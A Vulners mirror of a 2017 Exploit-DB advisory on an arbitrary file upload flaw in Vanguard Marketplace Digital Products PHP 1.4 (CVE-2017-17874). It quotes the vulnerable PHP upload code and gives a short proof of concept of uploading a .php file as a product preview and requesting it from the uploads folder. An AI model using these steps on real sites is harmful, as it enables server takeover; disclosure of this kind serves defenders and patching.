Lucene search
+L

Vanguard 1.4 - Arbitrary File Upload

🗓️ 11 Dec 2017 00:00:00Reported by Ihsan SencanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 43 Views

The vulnerability in Vanguard 1.4 allows arbitrary file upload by user

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2017-17874
27 Dec 201717:08
attackerkb
cnvd
CNVD
Vanguard Marketplace Digital Products PHP Arbitrary File Upload Vulnerability
29 Dec 201700:00
cnvd
cve
CVE
CVE-2017-17874
24 Dec 201700:00
cve
cvelist
Cvelist
CVE-2017-17874
24 Dec 201700:00
cvelist
euvd
EUVD
EUVD-2017-9021
7 Oct 202500:30
euvd
nvd
NVD
CVE-2017-17874
27 Dec 201717:08
nvd
osv
OSV
CVE-2017-17874
27 Dec 201717:08
osv
prion
Prion
Default credentials
27 Dec 201717:08
prion
# # # # #
# Exploit Title: Vanguard - Marketplace Digital Products PHP 1.4 - Arbitrary File Upload
# Dork: N/A
# Date: 11.12.2017
# Vendor Homepage: https://www.codegrape.com/user/Vanguard/portfolio
# Software Link: https://www.codegrape.com/item/vanguard-marketplace-digital-products-php/15825
# Demo: http://vanguard-demo.esy.es/
# Version: 1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users upload arbitrary file....
#
# Vulnerable Source:
# .....................
# $row = $row->fetch(PDO::FETCH_ASSOC);
# $folder_name = $row['id'] * 2;
# $folder_name_2 = $folder_name * 5;
# $check_dir1 = 'uploads/'.$folder_name;
# $check_dir2 = $check_dir.'/'.$folder_name_2;
# if (!is_dir($check_dir1)) { mkdir($check_dir1); }
# if (!is_dir($check_dir2)) { mkdir($check_dir2); }
# $thumbnail_path = $check_dir1."/".basename($_FILES['thumbnail_file']['name']);
# $preview_path = $check_dir1."/".basename($_FILES['preview_file']['name']);
# $main_path = $check_dir2."/".basename($_FILES['main_file']['name']);
# $error = 0;
# $upload_path = './';
# .....................
#
# Proof of Concept:
#
# Users Add a new product/Add a product preview...
#
# http://localhost/[PATH]/
# http://localhost/[PATH]/uploads/[FOLDER_NAME]/[FILE].php
#
# # # # #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Dec 2017 00:00Current
8High risk
Vulners AI Score8
CVSS 26.5
CVSS 38.8
EPSS0.06031
43